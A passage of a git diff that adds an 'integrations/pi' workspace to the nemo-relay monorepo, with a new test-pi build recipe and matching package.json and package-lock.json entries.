package-lock.json "$version" integrations/pi } set_node_package_version() { @@ -1141,6 +1145,7 @@ clean: integrations/openclaw/.test-dist \ integrations/openclaw/dist \ integrations/openclaw/node_modules \ + integrations/pi/node_modules \ node_modules \ docs/_build/ \ docs/reference/api/**/_generated/ \ @@ -1568,8 +1573,23 @@ test-openclaw: npm run test:live --workspace=nemo-relay-openclaw npm run pack:check --workspace=nemo-relay-openclaw +# --set [ci=true|false] +test-pi: + #!/usr/bin/env bash + {{ bash_helpers }} + cd "$NEMO_RELAY_REPO_ROOT" + if is_true "{{ ci }}"; then + npm ci --ignore-scripts + else + npm install --ignore-scripts + fi + # No `build-debug` for the Node binding: the pi extension is a sidecar HTTP + # client and loads no native addon, so nothing here depends on it. + npm run typecheck --workspace=nemo-relay-pi + npm test --workspace=nemo-relay-pi + # --set [output_dir=] [ci=true|false] -test-all: test-rust test-python test-python-langchain test-go test-node test-openclaw +test-all: test-rust test-python test-python-langchain test-go test-node test-openclaw test-pi # [version] or --set ref_name= set-version version="": diff --git a/package-lock.json b/package-lock.json index cd4f05d49..d6c176354 100644 --- a/package-lock.json +++ b/package-lock.json @@ -7,7 +7,8 @@ "name": "nemo-relay-workspace", "workspaces": [ "crates/node", - "integrations/openclaw" + "integrations/openclaw", + "integrations/pi" ], "devDependencies": { "fern-api": "5.57.0", @@ -476,6 +477,13 @@ "openclaw": "^2026.7.1" } }, + "integrations/pi": { + "name": "nemo-relay-pi", + "version": "0.8.0", + "devDependencies": { + "@types/node": "^24.0.0" + } + }, "node_modules/@boundaryml/baml": { "version": "0.219.0", "resolved": "https://registry.npmjs.org/@boundaryml/baml/-/baml-0.219.0.tgz", @@ -936,6 +944,10 @@ "resolved": "integrations/openclaw", "link": true }, + "node_modules/nemo-relay-pi": { + "resolved": "integrations/pi", + "link": true + }, "node_modules/openclaw": { "version": "2026.7.1", "resolved": "https://registry.npmjs.org/openclaw/-/openclaw-2026.7.1.tgz", diff --git a/package.json b/package.json index cf8803a04..0767b77a3 100644 --- a/package.json +++ b/package.json @@ -7,7 +7,8 @@ }, "workspaces": [ "crates/node", - "integrations/openclaw" + "integrations/openclaw", + "integrations/pi" ], "devDependencies": { "fern-api": "5.57.0",